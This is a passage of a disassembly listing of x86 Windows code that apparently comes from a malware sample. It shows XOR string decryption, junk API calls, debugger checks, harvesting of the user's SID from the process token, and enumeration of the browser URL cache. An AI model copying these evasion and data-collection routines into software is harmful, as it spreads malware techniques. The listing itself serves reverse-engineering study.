; START	OF FUNCTION CHUNK FOR sub_404B85

loc_404A8B:				; CODE XREF: sub_404B85+39j
		call	sub_40C794	; GetProcessHeap
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404AE4
		push	4
		push	offset aUU	; "œ"
		call	sub_404491
		mov	[ebp-144h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 61h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-144h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h

loc_404AE4:				; CODE XREF: sub_404B85-E5j
		mov	eax, dword_442261
		mov	[ebp-138h], eax
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 4
		jge	short loc_404B43
		push	4
		push	offset aUU	; "œ"
		call	sub_404491
		mov	[ebp-148h], eax
		call	sub_40CC38
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	edi, edx
		add	edi, 41h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-148h]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h

loc_404B43:				; CODE XREF: sub_404B85-86j
		lea	edi, [ebp-13Fh]
		lea	esi, byte_442265
		mov	ecx, 7
		rep movsb
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 3
		jge	short loc_404BAA
		push	4
		push	offset aUU	; "œ"
		call	sub_404491
		mov	[ebp-14Ch], eax
		call	sub_40CC38
		mov	ecx, 9
		cdq
; END OF FUNCTION CHUNK	FOR sub_404B85

; =============== S U B	R O U T	I N E =======================================



sub_404B85	proc near		; DATA XREF: .data:00440382o
					; .data:004403A9o ...

; FUNCTION CHUNK AT 00404A8B SIZE 000000FA BYTES

		idiv	ecx
		mov	edi, edx
		add	edi, 30h
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		mov	edi, [ebp-14Ch]
		push	edi
		lea	edi, [ebp-0FFh]
		push	edi
		call	sub_40CC50
		add	esp, 18h

loc_404BAA:				; CODE XREF: sub_404B85-1Fj
		call	sub_40C7C4	; GetTickCount
		add	byte ptr [ebp-129h], 1

loc_404BB6:				; CODE XREF: sub_40481B+26Bj
		mov	al, [ebp-129h]
		cmp	al, 32h
		jb	loc_404A8B
		lea	eax, [ebp-0FFh]
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 8

loc_404BD4:				; CODE XREF: sub_40481B+238j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404BFC
		push	4
		push	offset aKI	; "Ĉ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404BFC:				; CODE XREF: sub_404B85+5Fj
		lea	edi, [ebp-128h]
		lea	esi, aRmU	; ": &rm`U"
		movsd
		movsd
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C32
		push	3
		push	offset aKI_3	; "Ԉ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404C32:				; CODE XREF: sub_404B85+95j
		mov	dword ptr [ebp-104h], 384h
		mov	eax, [ebp-104h]
		mov	edx, eax
		add	edx, eax
		mov	[ebp-104h], edx
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C74
		push	3
		push	offset aKI_2	; "È"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404C74:				; CODE XREF: sub_404B85+D7j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404C9C
		push	3
		push	offset aKI_1	; "߈"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404C9C:				; CODE XREF: sub_404B85+FFj
		call	sub_40C7C4	; GetTickCount
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404CC9
		push	4
		push	offset aKsI	; "߈"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404CC9:				; CODE XREF: sub_404B85+12Cj
		mov	dword ptr [ebp-10Ch], 0F10h
		inc	dword ptr [ebp-10Ch]
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D01
		push	4
		push	offset aKsI_0	; "Ԉ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404D01:				; CODE XREF: sub_404B85+164j
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D29
		push	4
		push	offset aKsI_1	; "È"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404D29:				; CODE XREF: sub_404B85+18Cj
		call	sub_40C7C4	; GetTickCount
sub_404B85	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404D2E	proc near		; DATA XREF: .data:0043FFA8o
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D56
		push	7
		push	offset aKsI_2	; "ˆ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404D56:				; CODE XREF: sub_404D2E+10j
		mov	dword ptr [ebp-110h], 7CCAh
		mov	eax, 23D9h
		mul	dword ptr [ebp-110h]
		mov	[ebp-12Ch], eax
		mov	[ebp-110h], eax
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404D9F
		push	8
		push	offset aKI_0	; "Ĉ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404D9F:				; CODE XREF: sub_404D2E+59j
		mov	dword ptr [ebp-114h], 2CE7h
		inc	dword ptr [ebp-114h]
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404DD7
		push	9
		push	offset aKsI_3	; "Ĉ"
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404DD7:				; CODE XREF: sub_404D2E+91j
		mov	dword ptr [ebp-118h], 35B7h
		mov	eax, 4085h
		mul	dword ptr [ebp-118h]
		mov	[ebp-130h], eax
		mov	[ebp-118h], eax
		call	sub_40CC38
		mov	ecx, 0Ah
		cdq
		idiv	ecx
		cmp	edx, 5
		jge	short loc_404E20
		push	2
		push	offset asc_447400 ; ""
		call	sub_404491
		push	eax
		push	ebx
		call	sub_40CC74
		add	esp, 10h

loc_404E20:				; CODE XREF: sub_404D2E+DAj
		call	sub_40C734	; GetCurrentProcessId
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404D2E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404E2A	proc near		; CODE XREF: sub_404EC6+5Cp
					; sub_404EC6+91p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_4], 12Bh
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_44227C
		lea	eax, ds:436250h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		mov	[ebp+var_8], 283h
		xor	edi, edi
		jmp	short loc_404E77
; ---------------------------------------------------------------------------

loc_404E60:				; CODE XREF: sub_404E2A+4Fj
		mov	eax, dword_44227C
		add	eax, edi
		lea	eax, ds:436250h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 7Bh
		mov	[eax], dl
		inc	edi

loc_404E77:				; CODE XREF: sub_404E2A+34j
		cmp	edi, esi
		jl	short loc_404E60
		mov	[ebp+var_C], 10Ch
		mov	eax, dword_44227C
		add	eax, esi
		mov	byte ptr ds:dword_436250[eax], 0
		xor	edi, edi
		mov	edi, dword_44227C
		add	dword_44227C, 3
		mov	eax, dword_44227C
		lea	eax, [eax+esi+3]
		mov	dword_44227C, eax
		cmp	eax, 0DEDh
		jle	short loc_404EBC
		and	dword_44227C, 0

loc_404EBC:				; CODE XREF: sub_404E2A+89j
		lea	eax, dword_436250[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_404E2A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404EC6	proc near		; CODE XREF: sub_40506F+99p

var_30		= dword	ptr -30h
var_2A		= byte ptr -2Ah
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_19		= dword	ptr -19h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_15], 0C0h
		sub	[ebp+var_15], 75h
		mov	eax, dword_442280
		mov	[ebp+var_19], eax
		xor	ebx, ebx
		inc	ebx
		push	[ebp+arg_0]
		call	sub_40CB9C	; GetSidIdentifierAuthority
		mov	[ebp+var_14], eax
		call	sub_40C740	; GetCurrentThreadId
		push	[ebp+arg_0]
		call	sub_40CBB4	; GetSidSubAuthorityCount
		movzx	edi, byte ptr [eax]
		mov	[ebp+var_10], edi
		call	sub_40C7C4	; GetTickCount
		mov	eax, 0Ch
		mul	[ebp+var_10]
		mov	[ebp+var_20], eax
		add	eax, 1Ch
		mov	[ebp+var_C], eax

loc_404F16:				; DATA XREF: .data:off_4472A3o
		call	sub_40C7C4	; GetTickCount
		push	6
		push	offset byte_4473B3
		call	sub_404E2A
		push	ebx
		push	eax
		push	[ebp+arg_4]
		call	sub_40CA7C	; wsprintfA
		add	esp, 14h
		mov	[ebp+var_C], eax
		add	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+var_14]
		cmp	byte ptr [eax],	0
		jnz	short loc_404F4B
		cmp	byte ptr [eax+1], 0
		jz	short loc_404FA9

loc_404F4B:				; CODE XREF: sub_404EC6+7Dj
		call	sub_40C734	; GetCurrentProcessId
		push	20h
		push	offset word_447392
		call	sub_404E2A
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+4]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+3]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+2]
		movzx	esi, si
		push	esi
		movzx	esi, byte ptr [edi+1]
		movzx	esi, si
		push	esi
		movzx	edi, byte ptr [edi]
		movzx	edi, di
		push	edi
		push	eax
		push	[ebp+var_8]
		call	sub_40CA7C	; wsprintfA
		add	esp, 28h
		mov	ebx, eax
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		jmp	short loc_405017
; ---------------------------------------------------------------------------

loc_404FA9:				; CODE XREF: sub_404EC6+83j
		mov	[ebp+var_24], 5F0h
		mov	eax, 4B0Ah
		mul	[ebp+var_24]
		mov	[ebp+var_30], eax
		mov	[ebp+var_24], eax
		push	3
		push	offset word_44738E
		call	sub_404E2A
		mov	edi, [ebp+var_14]
		movzx	esi, byte ptr [edi+5]
		movzx	edx, byte ptr [edi+4]
		shl	edx, 8
		add	esi, edx
		movzx	edx, byte ptr [edi+3]
		shl	edx, 10h
		add	esi, edx
		movzx	edi, byte ptr [edi+2]
		shl	edi, 18h
		add	esi, edi
		push	esi
		push	eax
		push	[ebp+var_8]
		call	sub_40CA7C	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		lea	edi, [ebp+var_2A]
		lea	esi, aO68_0	; "o6,%8"
		mov	ecx, 3
		rep movsw
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax

loc_405017:				; CODE XREF: sub_404EC6+E1j
		and	[ebp+var_4], 0
		jmp	short loc_405062
; ---------------------------------------------------------------------------

loc_40501D:				; CODE XREF: sub_404EC6+1A2j
		call	sub_40C764	; RtlGetLastWin32Error
		push	4
		push	offset byte_447389
		call	sub_404E2A
		mov	[ebp+var_24], eax
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_40CBA8	; GetSidSubAuthority
		push	dword ptr [eax]
		mov	edi, [ebp+var_24]
		push	edi
		push	[ebp+var_8]
		call	sub_40CA7C	; wsprintfA
		add	esp, 14h
		mov	ebx, eax
		call	sub_40C734	; GetCurrentProcessId
		add	[ebp+var_C], ebx
		mov	eax, ebx
		add	eax, [ebp+var_8]
		mov	[ebp+var_8], eax
		inc	[ebp+var_4]

loc_405062:				; CODE XREF: sub_404EC6+155j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_4], eax
		jb	short loc_40501D
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404EC6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40506F	proc near		; CODE XREF: sub_405E88+239p

var_19		= byte ptr -19h
var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_B		= byte ptr -0Bh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		lea	edi, [ebp+var_B]
		lea	esi, word_44228A
		mov	ecx, 3
		rep movsb
		call	sub_40C734	; GetCurrentProcessId
		mov	[ebp+var_8], eax
		lea	edi, [ebp+var_10]
		lea	esi, aGK	; "`G k"
		mov	ecx, 5
		rep movsb
		push	[ebp+var_8]
		push	0
		push	1F0FFFh
		call	sub_40C89C	; OpenProcess
		mov	ebx, eax
		call	sub_40C7D0	; GetVersion
		lea	eax, [ebp+var_4]
		push	eax
		push	0F00FFh
		push	ebx
		call	sub_40CB24	; OpenProcessToken
		call	sub_40C734	; GetCurrentProcessId
		push	ebx
		call	sub_40C7AC	; CloseHandle
		mov	eax, dword_442278
		add	eax, 3FF4h
		push	eax
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	ebx, eax
		lea	eax, [ebp+var_14]
		push	eax
		mov	eax, dword_442278
		add	eax, 3FF4h
		push	eax
		push	ebx
		push	1
		push	[ebp+var_4]
		call	sub_40CB30	; GetTokenInformation
		call	sub_40C7D0	; GetVersion
		push	[ebp+arg_0]
		push	dword ptr [ebx]
		call	sub_404EC6
		add	esp, 8
		push	ebx
		call	sub_40C884	; LocalFree
		call	sub_40C854	; IsDebuggerPresent
		push	[ebp+var_4]
		call	sub_40C7AC	; CloseHandle
		lea	edi, [ebp+var_19]
		lea	esi, asc_442292	; "> `h"
		mov	ecx, 5
		rep movsb
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40506F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_405138	proc near		; CODE XREF: sub_40523D+52p
					; sub_40523D+BDp ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		push	esi
		push	[ebp+arg_0]
		mov	eax, dword_4422A0
		lea	eax, ds:4197B0h[eax]
		push	eax
		call	sub_40CC14
		add	esp, 0Ch
		xor	edi, edi
		jmp	short loc_405176
; ---------------------------------------------------------------------------

loc_40515F:				; CODE XREF: sub_405138+40j
		mov	eax, dword_4422A0
		add	eax, edi
		lea	eax, ds:4197B0h[eax]
		movsx	edx, byte ptr [eax]
		xor	edx, 3Ch
		mov	[eax], dl
		inc	edi

loc_405176:				; CODE XREF: sub_405138+25j
		cmp	edi, esi
		jl	short loc_40515F
		mov	[ebp+var_4], 365h
		mov	eax, dword_4422A0
		add	eax, esi
		mov	byte ptr ds:dword_4197B0[eax], 0
		xor	edi, edi
		mov	edi, dword_4422A0
		mov	eax, edi
		add	eax, 2
		add	eax, esi
		mov	dword_4422A0, eax
		cmp	eax, 0DDFh
		jle	short loc_4051B2
		and	dword_4422A0, 0

loc_4051B2:				; CODE XREF: sub_405138+71j
		mov	[ebp+var_8], 0E8h
		lea	eax, dword_4197B0[edi]
		pop	edi
		pop	esi
		leave
		retn
sub_405138	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4051C3	proc near		; CODE XREF: sub_4061F7+526p
					; sub_4061F7+543p

var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		call	sub_40C740	; GetCurrentThreadId
		push	0
		push	80h
		push	4
		push	0
		push	0
		push	0C0000000h
		push	[ebp+arg_0]
		call	sub_40C8CC	; CreateFileA
		mov	edi, eax
		call	sub_40C7D0	; GetVersion
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_4051F8
		xor	eax, eax
		jmp	short loc_405239
; ---------------------------------------------------------------------------

loc_4051F8:				; CODE XREF: sub_4051C3+2Fj
		mov	esi, 3356h
		sub	esi, 0F1Dh
		push	2
		push	0
		push	0
		push	edi
		call	sub_40C8D8	; SetFilePointer
		call	sub_40C7D0	; GetVersion
		push	0
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	sub_40C944	; WriteFile
		call	sub_40C740	; GetCurrentThreadId
		push	edi
		call	sub_40C7AC	; CloseHandle
		call	sub_40C740	; GetCurrentThreadId
		xor	eax, eax
		inc	eax

loc_405239:				; CODE XREF: sub_4051C3+33j
		pop	edi
		pop	esi
		leave
		retn
sub_4051C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40523D	proc near		; CODE XREF: sub_4061F7+46Fp

var_2F5B	= byte ptr -2F5Bh
var_2F58	= dword	ptr -2F58h
var_2F53	= byte ptr -2F53h
var_2F52	= byte ptr -2F52h
var_2F4A	= word ptr -2F4Ah
var_2F48	= byte ptr -2F48h
var_2F47	= byte ptr -2F47h
var_2F46	= word ptr -2F46h
var_2F43	= byte ptr -2F43h
var_1F44	= dword	ptr -1F44h
var_1F40	= byte ptr -1F40h
var_1F3C	= dword	ptr -1F3Ch
var_1F38	= dword	ptr -1F38h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 2F5Ch
		call	sub_40C6B8
		push	ebx
		push	esi

loc_40524C:				; DATA XREF: sub_440531r
		push	edi
		mov	[ebp+var_2F46],	7B0Ch ;	DATA XREF: sub_44053Dr
					; sub_440549r
		inc	[ebp+var_2F46]	; DATA XREF: sub_440555r sub_440561r
		lea	edi, [ebp+var_2F52] ; DATA XREF: sub_44056Dr
		lea	esi, aDpVB	; DATA XREF: sub_440579r sub_440585r
					; ">Dp+'B"
		movsd
		movsd
		push	[ebp+arg_0]	; DATA XREF: sub_440591r
		lea	eax, [ebp+var_2F43] ; DATA XREF: sub_44059Dr

loc_405274:				; DATA XREF: sub_4405A9r
		push	eax
		call	sub_40C6D8	; DATA XREF: sub_4405B5r
		mov	[ebp+var_2F47],	33h ; DATA XREF: sub_4405C1r
					; sub_4405CDr
		add	[ebp+var_2F47],	1 ; DATA XREF: sub_4405D9r
		push	1
		push	offset byte_447387
		call	sub_405138	; DATA XREF: sub_4405E5r
		mov	edi, 12h
		sub	edi, dword_44229C ; DATA XREF: sub_4405F1r
		push	edi
		push	eax
		lea	edi, [ebp+var_2F43]
		push	edi

loc_4052A8:				; DATA XREF: sub_4406ADr sub_4406B9r
		call	sub_40181A
		add	esp, 14h

loc_4052B0:				; DATA XREF: sub_4406C5r
		mov	edi, eax
		mov	[ebp+var_2F4A],	di ; DATA XREF:	sub_4406D1r
					; sub_4406DDr
		movzx	eax, [ebp+var_2F4A] ; DATA XREF: sub_4406E9r

loc_4052C0:				; DATA XREF: sub_4406F5r sub_440701r
		cmp	eax, 0FFFFh
		jz	short loc_4052D6
		movzx	eax, [ebp+var_2F4A] ; DATA XREF: sub_44070Dr
					; sub_440719r
		mov	[ebp+eax+var_2F43], 0 ;	DATA XREF: sub_440725r
					; sub_440731r

loc_4052D6:				; CODE XREF: sub_40523D+88j
					; DATA XREF: sub_44073Dr ...
		mov	[ebp+var_2F48],	22h
		add	[ebp+var_2F48],	90h ; DATA XREF: sub_440755r

loc_4052E4:				; DATA XREF: sub_440761r sub_44076Dr ...
		mov	[ebp+var_1F44],	1F40h
		call	sub_40C764	; DATA XREF: sub_440785r
		push	3		; DATA XREF: sub_440791r
		push	offset byte_447383 ; DATA XREF:	sub_44079Dr
		call	sub_405138
		add	esp, 8
		lea	edi, [ebp+var_1F44] ; DATA XREF: sub_4407A9r

loc_405308:				; DATA XREF: sub_4407B5r
		push	edi
		lea	edi, [ebp+var_1F40] ; DATA XREF: sub_4407C1r
		push	edi

loc_405310:				; DATA XREF: sub_4407CDr
		push	eax
		call	sub_40BC38	; DATA XREF: sub_4407D9r
		mov	ebx, eax

loc_405318:				; DATA XREF: sub_4407E5r
		or	eax, eax
		jz	loc_4053F9	; DATA XREF: sub_4407F1r

loc_405320:				; DATA XREF: sub_4407FDr sub_440809r
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40CBE4	; DATA XREF: sub_440815r
		add	esp, 8		; DATA XREF: sub_440821r
		or	eax, eax
		jnz	short loc_40536B ; DATA	XREF: sub_44082Dr
		mov	[ebp+var_2F53],	0CEh ; DATA XREF: sub_440839r

loc_405340:				; DATA XREF: sub_440845r sub_440851r
		sub	[ebp+var_2F53],	68h
		push	[ebp+var_1F38]	; DATA XREF: sub_44085Dr sub_440869r
		push	[ebp+arg_4]

loc_405350:				; DATA XREF: sub_440875r sub_440881r
		call	sub_40C6D8
		lea	edi, [ebp+var_2F5B] ; DATA XREF: sub_44088Dr
		lea	esi, aB_mxkw	; "B_mxkw&"
		movsd
		movsd
		xor	eax, eax	; DATA XREF: sub_440899r
		inc	eax
		jmp	loc_4053F9	; DATA XREF: sub_4408A5r
; ---------------------------------------------------------------------------

loc_40536B:				; CODE XREF: sub_40523D+FAj
					; sub_40523D:loc_4053F2j
					; DATA XREF: ...
		mov	[ebp+var_2F53],	1Dh
		movzx	eax, [ebp+var_2F53] ; DATA XREF: sub_4408C9r
					; sub_4408D5r
		imul	eax, 42B9h	; DATA XREF: sub_4408E1r
		mov	[ebp+var_2F53],	al ; DATA XREF:	sub_4408EDr
					; sub_4408F9r
		mov	[ebp+var_1F44],	1F40h ;	DATA XREF: sub_440905r
					; sub_440911r
		lea	eax, [ebp+var_1F44] ; DATA XREF: sub_44091Dr
					; sub_440929r
		push	eax
		lea	eax, [ebp+var_1F40] ; DATA XREF: sub_440935r
		push	eax
		push	ebx
		call	sub_40BC44	; FindNextUrlCacheEntryA
		or	eax, eax
		jz	short loc_4053F7
		call	sub_40C854	; IsDebuggerPresent
		lea	eax, [ebp+var_2F43]
		push	eax
		push	[ebp+var_1F3C]
		call	sub_40CBE4
		add	esp, 8
		or	eax, eax
		jnz	short loc_4053F2
		mov	[ebp+var_2F58],	6518h
		mov	eax, [ebp+var_2F58]
		mov	edx, eax
		add	edx, eax
		mov	[ebp+var_2F58],	edx
		push	[ebp+var_1F38]
		push	[ebp+arg_4]
		call	sub_40C6D8
		xor	eax, eax
		inc	eax
		jmp	short loc_4053F9
; ---------------------------------------------------------------------------

loc_4053F2:				; CODE XREF: sub_40523D+186j
		jmp	loc_40536B
; ---------------------------------------------------------------------------

loc_4053F7:				; CODE XREF: sub_40523D+168j
		xor	eax, eax

loc_4053F9:				; CODE XREF: sub_40523D+DDj
					; sub_40523D+129j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40523D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4053FE	proc near		; CODE XREF: sub_4054C8+602p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	sub_40C854	; IsDebuggerPresent
		push	ebx
		call	sub_40C95C	; lstrlen
		mov	[ebp+var_8], eax
		call	sub_40C7C4	; GetTickCount
		mov	edi, [ebp+var_8]
		shl	edi, 1
		add	edi, 8
		push	edi
		push	40h
		call	sub_40C878	; LocalAlloc
		mov	[ebp+var_C], eax
		call	sub_40C794	; GetProcessHeap
		xor	esi, esi
		jmp	short loc_40544F
; ---------------------------------------------------------------------------

loc_405439:				; CODE XREF: sub_4053FE+54j
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		or	eax, eax
		jz	short loc_40544E
		movzx	eax, byte ptr [ebx+esi]
		xor	eax, 71h
		mov	[ebx+esi], al

loc_40544E:				; CODE XREF: sub_4053FE+44j
		inc	esi

loc_40544F:				; CODE XREF: sub_4053FE+39j
		cmp	esi, [ebp+var_8]
		jb	short loc_405439
		mov	[ebp+var_2], 0
		jmp	short loc_4054B2
; ---------------------------------------------------------------------------

loc_40545C:				; CODE XREF: sub_4053FE+BBj
		push	6
		push	offset dword_44737C
		call	sub_405138
		mov	[ebp+var_10], eax
		movzx	edi, [ebp+var_2]
		movzx	edi, byte ptr [ebx+edi]
		mov	eax, edi
		mov	ecx, 1Ah
		cdq
		idiv	ecx
		mov	esi, edx
		add	esi, 61h
		push	esi
		mov	eax, edi
		mov	ecx, 1Ah
		mov	edx, 4EC4EC4Fh
		mul	edx
		shr	edx, 3
		mov	[ebp+var_14], edx
		mov	edi, edx
		add	edi, 61h
		push	edi
		mov	edi, [ebp+var_C]
		push	edi
		mov	esi, [ebp+var_10]
		push	esi
		push	edi
		call	sub_40CC50
		add	esp, 1Ch
		inc	[ebp+var_2]

loc_4054B2:				; CODE XREF: sub_4053FE+5Cj
		movzx	eax, [ebp+var_2]
		cmp	eax, [ebp+var_8]
		jb	short loc_40545C
		call	sub_40C7C4	; GetTickCount
		mov	eax, [ebp+var_C]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4053FE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4054C8	proc near		; CODE XREF: sub_4061F7+199p

var_300A1	= byte ptr -300A1h
var_300A0	= dword	ptr -300A0h
var_3009C	= dword	ptr -3009Ch
var_30096	= word ptr -30096h
var_30094	= dword	ptr -30094h
var_3008D	= byte ptr -3008Dh
var_3008C	= dword	ptr -3008Ch
var_30088	= dword	ptr -30088h
var_30084	= dword	ptr -30084h
var_30080	= dword	ptr -30080h
var_3007C	= dword	ptr -3007Ch
var_30078	= dword	ptr -30078h
var_30071	= byte ptr -30071h
var_3006E	= word ptr -3006Eh
var_3006C	= byte ptr -3006Ch
var_30067	= byte ptr -30067h
var_30064	= byte ptr -30064h
var_3005F	= dword	ptr -3005Fh
var_3005B	= byte ptr -3005Bh
var_30058	= dword	ptr -30058h
var_30054	= byte ptr -30054h
var_30051	= byte ptr -30051h
var_3004A	= word ptr -3004Ah
var_30048	= dword	ptr -30048h
var_30044	= word ptr -30044h
var_30041	= byte ptr -30041h
var_30040	= byte ptr -30040h
var_3003F	= byte ptr -3003Fh
var_30035	= byte ptr -30035h
var_30034	= dword	ptr -30034h
var_30030	= dword	ptr -30030h
var_3002C	= byte ptr -3002Ch
var_3002B	= byte ptr -3002Bh
var_30021	= byte ptr -30021h
var_30020	= dword	ptr -30020h
var_3001C	= dword	ptr -3001Ch
var_30018	= word ptr -30018h
var_30016	= word ptr -30016h
var_30014	= dword	ptr -30014h
var_30010	= dword	ptr -30010h
var_3000C	= byte ptr -3000Ch
var_2000C	= dword	ptr -2000Ch
var_20008	= dword	ptr -20008h
var_20003	= byte ptr -20003h
var_10004	= dword	ptr -10004h
var_10000	= byte ptr -10000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		mov	eax, 300A4h
		call	sub_40C6B8
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_30016], 316Dh
		movzx	eax, [ebp+var_30016]
		mov	edx, eax
		add	edx, eax
		mov	eax, edx
		mov	[ebp+var_30016], ax
		and	[ebp+var_3001C], 0
		call	sub_40C740	; GetCurrentThreadId
		and	[ebp+var_2000C], 0
		and	[ebp+var_30014], 0
		lea	eax, [ebp+var_10004]
		push	eax
		push	[ebp+arg_4]
		call	sub_401A7E
		add	esp, 8
		mov	ebx, eax
		mov	ax, word_4422B8
		mov	[ebp+var_3004A], ax
		mov	eax, [ebp+var_10004]
		or	eax, eax
		jz	short loc_405543
		or	ebx, ebx
		jz	short loc_405543
		cmp	[ebp+arg_14], eax
		jb	short loc_405571

loc_405543:				; CODE XREF: sub_4054C8+70j
					; sub_4054C8+74j
		mov	byte ptr [ebp+var_30078+3], 6Fh
